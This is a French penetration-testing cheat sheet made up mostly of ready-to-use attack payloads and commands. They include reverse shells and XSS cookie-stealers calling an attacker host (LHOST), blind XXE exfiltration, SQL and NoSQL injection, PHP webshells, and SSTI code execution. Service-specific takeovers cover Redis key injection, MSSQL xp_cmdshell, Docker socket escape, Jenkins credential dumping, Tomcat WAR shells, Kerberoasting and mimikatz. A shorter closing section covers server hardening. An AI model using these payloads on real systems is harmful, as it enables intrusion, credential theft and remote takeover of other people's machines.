DÉTECTION

Tester les paramètres avec des séparateurs de commandes classiques :

; id
| id
|| id
&& id
` id`
$(id)
%0a id    # newline (URL encoded)
Conseil : Tester les deux formes — encodée et brute. Certains WAF ne bloquent que les formes non encodées.
CONTOURNEMENT DE FILTRES
# Espacements alternatifs
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

# Concaténation
c'a't /etc/passwd
c"a"t /etc/passwd

# Variables
${PATH:0:1}   # = /
$((1+1))      # = 2

# Wildcard
/???/p????d   # = /bin/passwd
SHELL INVERSÉ
# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat
nc -e /bin/sh LHOST LPORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f
Listener : nc -lvnp LPORT
DÉTECTION
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
1' ORDER BY 1--
1' ORDER BY 2--    # augmenter jusqu'à erreur
BASÉ SUR UNION
# Trouver le nombre de colonnes
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

# Extraire les données
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--
SQLMAP
# Détection basique
sqlmap -u "http://target.com/page?id=1"

# Dump complet
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D dbname --tables
sqlmap -u "URL" -D dbname -T table --dump

# POST request
sqlmap -u "URL" --data="user=admin&pass=test" -p user

# RCE via OS shell
sqlmap -u "URL" --os-shell
CONTOURNEMENT AUTH
admin'--
admin'#
' OR 1=1--
' OR '1'='1'--
admin' OR '1'='1
') OR ('1'='1
CHARGES DE BASE
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
</title><script>alert(1)</script>
VOL DE COOKIE
<script>document.location='http://LHOST/steal?c='+document.cookie</script>
<script>fetch('http://LHOST/?c='+btoa(document.cookie))</script>
<img src=x onerror="this.src='http://LHOST/?c='+document.cookie">
Écoute : python3 -m http.server 80 — les cookies apparaîtront dans les logs.
CONTOURNEMENT WAF
<ScRiPt>alert(1)</ScRiPt>
<script>eval(atob('BASE64_PAYLOAD'))</script>
<img src=1 oNeRrOr=alert(1)>
<svg/onload=alert`1`>
<details/open/ontoggle=alert(1)>
CHARGES DE BASE
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
/etc/passwd%00    # null byte (PHP < 5.3)
....\/....\/etc/passwd
FICHIERS SENSIBLES
# Linux
/etc/passwd
/etc/shadow
/etc/hosts
/home/user/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ
/proc/net/tcp

# Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\htdocs\config.php
EMPOISONNEMENT DE LOGS → RCE
# 1. Injecter un payload PHP dans les logs via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Inclure le log via LFI avec commande
http://target.com/?page=../../../var/log/apache2/access.log&cmd=id
CHARGES DE BASE
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://169.254.169.254/    # AWS metadata
http://metadata.google.internal/
CONTOURNEMENT DE FILTRES
http://2130706433/         # 127.0.0.1 en décimal
http://0x7f000001/         # 127.0.0.1 en hex
http://127.1/
http://127.0.0.1.nip.io/
http://evil.com@127.0.0.1/
http://127.0.0.1#evil.com
AWS METADATA
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
CHARGE DE BASE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
HORS-BANDE (aveugle)
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://LHOST/evil.dtd">
  %xxe;
]>

# evil.dtd sur votre serveur :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://LHOST/?d=%file;'>">
%eval;
%exfil;
WEBSHELLS PHP
# Minimal
<?php system($_GET['cmd']); ?>

# One-liner
<?php echo shell_exec($_REQUEST['c']); ?>

# Utilisation
http://target.com/uploads/shell.php?cmd=id
CONTOURNEMENT DE FILTRES
# Extensions alternatives
shell.php5  shell.phtml  shell.phar
shell.php.jpg  shell.PhP  shell.php%00.jpg

# Changer le Content-Type
Content-Type: image/jpeg   # au lieu de application/x-php

# Magic bytes (ajouter au début du fichier)
GIF89a;<?php system($_GET['cmd']); ?>
EXEMPLES
# URL parameter
/api/users/1337/profile  →  /api/users/1/profile

# Body parameter
{"user_id": 1337}  →  {"user_id": 1}

# Guid/UUID — énumération
/files/uuid-here  →  brute force ou prédiction

# HTTP methods
GET /api/user/2  →  PUT /api/user/2 {"role":"admin"}
DÉTECTION (polyglotte)
${{<%[%'"}}%\    # polyglotte — déclenche erreur si SSTI
{{7*7}}          # → 49 (Jinja2, Twig)
${7*7}           # → 49 (Freemarker)
#{ 7 * 7 }       # → 49 (Ruby ERB)
JINJA2 RCE (Python)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
TWIG RCE (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ANALYSE
# Décoder un JWT (3 parties séparées par .)
echo -n "HEADER" | base64 -d
echo -n "PAYLOAD" | base64 -d

# Ou avec jwt_tool
python3 jwt_tool.py TOKEN
ATTAQUES COURANTES
# 1. alg:none — supprimer la signature
{"alg":"none","typ":"JWT"}

# 2. Brute force secret (HS256)
hashcat -a 0 -m 16500 token.txt wordlist.txt
python3 jwt_tool.py TOKEN -C -d wordlist.txt

# 3. RS256 → HS256 confusion
python3 jwt_tool.py TOKEN -X k -pk public.pem

# 4. Modifier le payload
python3 jwt_tool.py TOKEN -T   # mode tamper interactif
ÉNUMÉRATION
# Nmap
nmap -sV -p 21 TARGET
nmap -sV --script ftp-anon,ftp-bounce,ftp-syst -p 21 TARGET

# Connexion anonyme
ftp TARGET
# user: anonymous  pass: anonymous (ou vide)
CONNEXION & COMMANDES
ftp TARGET
ls -la
get file.txt
put shell.php
binary          # mode binaire pour les fichiers non-texte
mget *          # télécharger tous les fichiers
FORCE BRUTE
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://TARGET
hydra -L users.txt -P passwords.txt ftp://TARGET -t 4
ÉNUMÉRATION
nmap -sV -p 22 TARGET
nmap --script ssh-auth-methods,ssh-hostkey -p 22 TARGET
ssh -V    # version locale
nc TARGET 22   # banner grabbing
FORCE BRUTE
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET
medusa -h TARGET -u root -P rockyou.txt -M ssh
CLÉS PRIVÉES
# Si une clé est trouvée (id_rsa)
chmod 600 id_rsa
ssh -i id_rsa user@TARGET

# Craquer la passphrase
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
TUNNELING
# Redirection de port locale
ssh -L 8080:TARGET_INTERNAL:80 user@TARGET

# Proxy SOCKS
ssh -D 1080 user@TARGET
# puis utiliser proxychains
ÉNUMÉRATION
nmap -sV --script smb-enum-shares,smb-enum-users,smb-vuln* -p 445 TARGET

# Enum4linux
enum4linux -a TARGET

# SMBClient
smbclient -L //TARGET/ -N          # null session
smbclient //TARGET/share -U user

# CrackMapExec
crackmapexec smb TARGET -u '' -p ''
crackmapexec smb TARGET -u user -p pass --shares
PASS-THE-HASH
# NTLM hash obtenu (mimikatz, secretsdump...)
crackmapexec smb TARGET -u admin -H NTLM_HASH
psexec.py domain/admin@TARGET -hashes :NTLM_HASH
ETERNALBLUE (MS17-010)
nmap --script smb-vuln-ms17-010 -p 445 TARGET

# Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET
run
⚠ Attention : EternalBlue peut provoquer un crash système (BSOD). À utiliser uniquement sur des cibles autorisées.
RECONNAISSANCE
# WhatWeb — technologies
whatweb http://TARGET

# Curl — headers
curl -I http://TARGET
curl -v http://TARGET

# Nikto — scan vulnérabilités
nikto -h http://TARGET
ÉNUMÉRATION DE RÉPERTOIRES
# Feroxbuster
feroxbuster -u http://TARGET -w /usr/share/wordlists/dirb/common.txt

# Gobuster
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

# FFUF
ffuf -u http://TARGET/FUZZ -w wordlist.txt
ffuf -u http://TARGET/?FUZZ=test -w params.txt   # param fuzzing
MÉTHODES HTTP DANGEREUSES
curl -X OPTIONS http://TARGET -v   # lister les méthodes
curl -X PUT http://TARGET/shell.php -d '<?php system($_GET["c"]); ?>'
curl -X TRACE http://TARGET        # XST attack
CONNEXION & ÉNUMÉRATION
nmap -sV --script mysql-info,mysql-databases,mysql-empty-password -p 3306 TARGET

mysql -h TARGET -u root -p
mysql -h TARGET -u root      # sans mot de passe

# Commandes utiles
SHOW databases;
USE dbname;
SHOW tables;
SELECT * FROM users;
LECTURE DE FICHIERS
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
ÉCRITURE DE FICHIERS (webshell)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Nécessite le privilège FILE et que secure_file_priv soit vide ou pointe vers le bon répertoire.
INJECTION UDF (RCE)
# Avec sqlmap
sqlmap -u "URL" --dbms=mysql --os-shell

# Manuel via raptor_udf
use exploit/multi/mysql/mysql_udf_payload   # Metasploit
CONNEXION & ÉNUMÉRATION
nmap -sV --script redis-info -p 6379 TARGET
redis-cli -h TARGET
redis-cli -h TARGET -a password

INFO server
INFO keyspace
KEYS *
GET keyname
INJECTION CLÉ SSH
# Générer une paire de clés
ssh-keygen -t rsa -f redis_key

# Sur redis-cli
config set dir /root/.ssh/
config set dbfilename authorized_keys
set hacked "\n\nVOTRE_CLÉ_PUBLIQUE\n\n"
save

# Connexion
ssh -i redis_key root@TARGET
WEBSHELL VIA CONFIG
config set dir /var/www/html/
config set dbfilename shell.php
set shell "<?php system(\$_GET['cmd']); ?>"
save
AS-REP ROASTING

Cibler les comptes sans pré-authentification Kerberos requise.

# GetNPUsers (Impacket)
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip DC_IP

# Crack du hash
hashcat -m 18200 hashes.txt rockyou.txt
john hashes.txt --wordlist=rockyou.txt
KERBEROASTING

Extraire des tickets de service (TGS) et craquer les mots de passe hors-ligne.

# GetUserSPNs (Impacket)
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request

# Crack
hashcat -m 13100 tickets.txt rockyou.txt
PASS-THE-TICKET
# Importer un ticket .ccache
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.local/admin@TARGET
ÉNUMÉRATION D'UTILISATEURS
nmap --script smtp-enum-users,smtp-commands -p 25 TARGET

# Manuellement via telnet
telnet TARGET 25
HELO test
VRFY root
EXPN admins
SMTP-USER-ENUM
smtp-user-enum -M VRFY -U users.txt -t TARGET
smtp-user-enum -M RCPT -U users.txt -D domain.com -t TARGET
TRANSFERT DE ZONE
dig axfr @TARGET domain.com
host -l domain.com TARGET
dnsrecon -d domain.com -a
SOUS-DOMAINES
dnsrecon -d domain.com -D wordlist.txt -t brt
gobuster dns -d domain.com -w wordlist.txt
ffuf -u http://FUZZ.domain.com -w wordlist.txt -H "Host: FUZZ.domain.com"
ÉNUMÉRATION
nmap -sV --script ldap-search -p 389 TARGET

# Anonymous bind
ldapsearch -x -H ldap://TARGET -b "dc=domain,dc=local"
ldapsearch -x -H ldap://TARGET -b "dc=domain,dc=local" "(objectClass=person)"

# Avec credentials
ldapsearch -x -H ldap://TARGET -D "user@domain.local" -w "pass" -b "dc=domain,dc=local"
ÉNUMÉRATION & BRUTE FORCE
nmap -sV --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 TARGET

hydra -l administrator -P rockyou.txt rdp://TARGET
crowbar -b rdp -s TARGET/32 -u admin -C passwords.txt
CONNEXION
xfreerdp /u:user /p:pass /v:TARGET
xfreerdp /u:user /pth:NTLM_HASH /v:TARGET   # pass-the-hash
rdesktop TARGET
CONNEXION & RCE
mssqlclient.py user:pass@TARGET
mssqlclient.py domain/user:pass@TARGET -windows-auth

# Activer xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Exécuter commandes
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -enc BASE64_PAYLOAD';
CONNEXION & EXPLOITATION
psql -h TARGET -U postgres -W

# Lire un fichier
COPY data FROM '/etc/passwd';
SELECT * FROM data;

# RCE via extension
CREATE TABLE cmd_exec(cmd_output TEXT);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
CONNEXION & DUMP
mongo TARGET:27017
mongo TARGET:27017/dbname -u user -p pass

show dbs
use dbname
show collections
db.collection.find()
INJECTION NOSQL
# Login bypass (JSON body)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}

# URL parameter
?username[$ne]=x&password[$ne]=x
ÉNUMÉRATION & MONTAGE
nmap -sV --script nfs-ls,nfs-showmount -p 2049 TARGET
showmount -e TARGET

# Monter le partage
mkdir /mnt/nfs
mount -t nfs TARGET:/share /mnt/nfs -o nolock
ls -la /mnt/nfs
ÉLÉVATION DE PRIVILÈGES (no_root_squash)
# Si no_root_squash est activé
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash   # SUID depuis root local

# Sur la machine cible
/tmp/bash -p   # shell root
ÉNUMÉRATION
nmap -sU --script snmp-info,snmp-sysdescr -p 161 TARGET

# snmpwalk
snmpwalk -c public -v1 TARGET
snmpwalk -c public -v2c TARGET 1.3.6.1.4.1.77.1.2.25   # users Windows

# Brute force community strings
onesixtyone -c communities.txt TARGET
API NON SÉCURISÉE
# Lister les conteneurs
curl http://TARGET:2375/containers/json

# Exécuter une commande dans un conteneur
docker -H TARGET:2375 ps
docker -H TARGET:2375 exec -it container_id /bin/sh
ÉVASION VIA SOCKET
# Si /var/run/docker.sock est accessible depuis le conteneur
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host sh
Impact : Accès complet au système hôte avec les droits root.
ÉNUMÉRATION & BRUTE FORCE
nmap -sV --script vnc-info,vnc-brute -p 5900 TARGET

hydra -P passwords.txt vnc://TARGET
msf> use auxiliary/scanner/vnc/vnc_login
CONNEXION
vncviewer TARGET:5900
vncviewer TARGET:5900 -passwd password.txt
CONSOLE SCRIPT RCE
# Accès : /script (nécessite admin)
println "id".execute().text
println "cat /etc/passwd".execute().text

# Reverse shell
def cmd = "bash -c {echo,BASE64_REVSHELL}|{base64,-d}|bash"
cmd.execute()
EXTRACTION DE CREDENTIALS
# Via Script Console
import com.cloudbees.plugins.credentials.*
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
  Jenkins.instance, null, null)
creds.each { println it.username + " : " + it.password }
IDENTIFIANTS PAR DÉFAUT
admin:admin
admin:tomcat
tomcat:tomcat
tomcat:s3cret
manager:manager
DÉPLOIEMENT WAR (RCE)
# Générer un fichier WAR malveillant avec msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f war -o shell.war

# Déposer via curl
curl -u user:pass http://TARGET:8080/manager/text/deploy?path=/shell --upload-file shell.war

# Déclencher
curl http://TARGET:8080/shell/
METASPLOIT
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS TARGET
set HttpUsername user
set HttpPassword pass
run
CONNEXION & FORCE BRUTE
telnet TARGET 23
nmap -sV --script telnet-ntlm-info -p 23 TARGET
hydra -l admin -P rockyou.txt telnet://TARGET
INSTALLATION
sudo apt install nmap
SCANS ESSENTIELS
# Scan SYN rapide
sudo nmap -sS CIBLE

# Scan complet avec version et scripts
nmap -sV -sC -p- CIBLE

# Scan agressif
nmap -A CIBLE

# UDP
sudo nmap -sU --top-ports 100 CIBLE

# Export des résultats
nmap -oA scan_complet CIBLE
SCRIPTS NSE UTILES
nmap --script vuln CIBLE
nmap --script smb-vuln* -p 445 CIBLE
nmap --script http-enum -p 80 CIBLE
nmap --script ftp-anon -p 21 CIBLE
DÉMARRAGE
msfconsole
msfdb init  # initialiser la base de données
COMMANDES ESSENTIELLES
# Rechercher un exploit
search eternalblue

# Utiliser un module
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS CIBLE
set LHOST MON_IP
run

# Sessions
sessions -l
sessions -i 1
background
METERPRETER
sysinfo
getuid
getsystem
hashdump
upload /local/file /remote/path
download /remote/file
shell
run post/multi/recon/local_exploit_suggester
UTILISATION
# SSH
hydra -l root -P rockyou.txt ssh://CIBLE

# FTP
hydra -l admin -P rockyou.txt ftp://CIBLE

# HTTP POST
hydra -l admin -P rockyou.txt CIBLE http-post-form "/login:user=^USER^&pass=^PASS^:Échec"

# RDP
hydra -l administrator -P rockyou.txt rdp://CIBLE
UTILISATION
# Répertoires
gobuster dir -u http://CIBLE -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50

# Sous-domaines
gobuster dns -d domaine.com -w wordlist.txt -t 50
UTILISATION
# Répertoires
ffuf -u http://CIBLE/FUZZ -w wordlist.txt

# Paramètres GET
ffuf -u "http://CIBLE/page.php?FUZZ=test" -w params.txt

# Sous-domaines (vhost)
ffuf -u http://CIBLE -H "Host: FUZZ.domaine.com" -w wordlist.txt

# Filtrer par taille
ffuf -u http://CIBLE/FUZZ -w wordlist.txt -fs 4242

# Extensions multiples
ffuf -u http://CIBLE/FUZZ -w wordlist.txt -e .php,.html,.bak
UTILISATION
# Détection basique
sqlmap -u "http://CIBLE/page?id=1"

# Extraction des bases
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D mabd --tables
sqlmap -u "URL" -D mabd -T users --dump

# POST
sqlmap -u "URL" --data="user=admin&pass=test" -p user

# Depuis fichier Burp
sqlmap -r requete.txt --level=5 --risk=3

# Shell OS
sqlmap -u "URL" --os-shell
TYPES DE HASHES COURANTS
Mode (-m)Type
0MD5
100SHA1
1000NTLM
1800SHA-512 (Linux)
3200bcrypt
13100Kerberoast (TGS)
18200AS-REP Roast
UTILISATION
# Dictionnaire
hashcat -m 0 hashes.txt rockyou.txt

# Avec règles
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Force brute (masque)
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?d?d

# Reprendre
hashcat --restore
UTILISATION
# Dictionnaire
john --wordlist=rockyou.txt hashes.txt

# Clé SSH chiffrée
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=rockyou.txt

# ZIP protégé
zip2john archive.zip > hash.txt
john hash.txt --wordlist=rockyou.txt

# Afficher les résultats
john --show hashes.txt
UTILISATION
# Écouter (listener)
nc -lvnp 4444

# Se connecter
nc CIBLE 4444

# Transfert de fichier
nc -lvnp 4444 > recu.txt          # récepteur
nc CIBLE 4444 < fichier.txt       # émetteur

# Shell inversé
nc -e /bin/bash LHOST LPORT

# Scanner de ports basique
nc -zv CIBLE 20-100
COMMANDES CLÉS
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::dcsync /domain:domaine.local /user:Administrator
sekurlsa::pth /user:admin /domain:domaine /ntlm:HASH /run:cmd.exe
Prérequis : Privilèges administrateur ou SYSTEM. Souvent détecté par les antivirus.
UTILISATION
enum4linux -a CIBLE    # tout
enum4linux -U CIBLE    # utilisateurs
enum4linux -S CIBLE    # partages
enum4linux -G CIBLE    # groupes
enum4linux -o CIBLE    # infos OS
OUTILS PRINCIPAUX
psexec.py domaine/user:pass@CIBLE
secretsdump.py domaine/user:pass@CIBLE
GetNPUsers.py domaine.local/ -usersfile users.txt -no-pass -dc-ip DC_IP
GetUserSPNs.py domaine.local/user:pass -dc-ip DC_IP -request
smbclient.py domaine/user:pass@CIBLE
UTILISATION
nikto -h http://CIBLE
nikto -h http://CIBLE -p 8080
nikto -h http://CIBLE -ssl
nikto -h http://CIBLE -o scan.html
UTILISATION
sudo responder -I eth0
sudo responder -I eth0 -A   # mode analyse uniquement
hashcat -m 5600 hash.txt rockyou.txt   # craquer NTLMv2
⚠ Légalité : Responder empoisonne les résolutions réseau. À utiliser uniquement sur des réseaux autorisés.
UTILISATION
wpscan --url http://CIBLE
wpscan --url http://CIBLE -e u
wpscan --url http://CIBLE -e vp --api-token TOKEN
wpscan --url http://CIBLE -U admin -P rockyou.txt
UTILISATION
sudo tcpdump -i eth0
sudo tcpdump -i eth0 host CIBLE
sudo tcpdump -i eth0 port 80
sudo tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap
CONFIGURATION /etc/ssh/sshd_config
PasswordAuthentication no
ChallengeResponseAuthentication no
PermitRootLogin no
Port 2222
AllowUsers user1 user2
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2
X11Forwarding no
APPLIQUER
sudo sshd -t            # vérifier la syntaxe
sudo systemctl restart sshd
Conseil : Utiliser des clés ED25519 : ssh-keygen -t ed25519
EN-TÊTES DE SÉCURITÉ
server {
  server_tokens off;
  add_header X-Frame-Options "SAMEORIGIN";
  add_header X-Content-Type-Options "nosniff";
  add_header X-XSS-Protection "1; mode=block";
  add_header Referrer-Policy "strict-origin-when-cross-origin";
  add_header Content-Security-Policy "default-src 'self'";
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
  if ($request_method !~ ^(GET|POST|HEAD)$) { return 405; }
  client_max_body_size 10M;
}
TLS SÉCURISÉ
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
CONFIGURATION
ServerTokens Prod
ServerSignature Off
Options -Indexes
Header always set X-Frame-Options "SAMEORIGIN"
Header always set X-Content-Type-Options "nosniff"
Header always set Strict-Transport-Security "max-age=31536000"
TraceEnable Off
WINDOWS — POWERSHELL
# Désactiver SMBv1 (vulnérable à EternalBlue)
Set-SmbServerConfiguration -EnableSMB1Protocol $false

# Activer la signature SMB
Set-SmbServerConfiguration -RequireSecuritySignature $true

# Vérifier les versions actives
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
LINUX — SAMBA
[global]
  min protocol = SMB2
  smb encrypt = required
  server signing = mandatory
  restrict anonymous = 2
  ntlm auth = no
CONFIGURATION /etc/vsftpd.conf
anonymous_enable=NO
chroot_local_user=YES
allow_writeable_chroot=NO
ssl_enable=YES
ssl_ciphers=HIGH
max_per_ip=3
max_login_fails=3
cmds_denied=SITE
Recommandation : Remplacer FTP par SFTP (SSH) ou FTPS. Le FTP transmet les identifiants en clair.
BONNES PRATIQUES
# Changer le port via regedit
HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
→ PortNumber = 3390

# Activer NLA (Network Level Authentication)
# Panneau de config → Système → Accès distant → NLA obligatoire

# Limiter avec pare-feu Windows
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3390 action=allow remoteip=IP_AUTORISEE
⚠ Risque : Ne jamais exposer RDP directement sur Internet. Utiliser un VPN ou un bastion SSH.
POSTFIX (/etc/postfix/main.cf)
smtpd_relay_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_tls_security_level = encrypt
smtp_tls_security_level = encrypt
disable_vrfy_command = yes
message_size_limit = 10240000
SPF / DKIM / DMARC
# SPF (DNS TXT)
v=spf1 ip4:MON_IP -all

# DMARC (DNS TXT _dmarc.domaine.com)
v=DMARC1; p=reject; rua=mailto:dmarc@domaine.com
CONFIGURATION
# Désactiver le transfert de zone public
allow-transfer { none; };

# Masquer la version
version "non disponible";

# Restreindre la récursion
allow-recursion { 127.0.0.1; RESEAU_INTERNE; };

# Activer DNSSEC
dnssec-enable yes;
dnssec-validation auto;
UFW
ufw default deny incoming
ufw default allow outgoing
ufw enable
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow from 192.168.1.10 to any port 22
ufw status verbose
IPTABLES
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables-save > /etc/iptables/rules.v4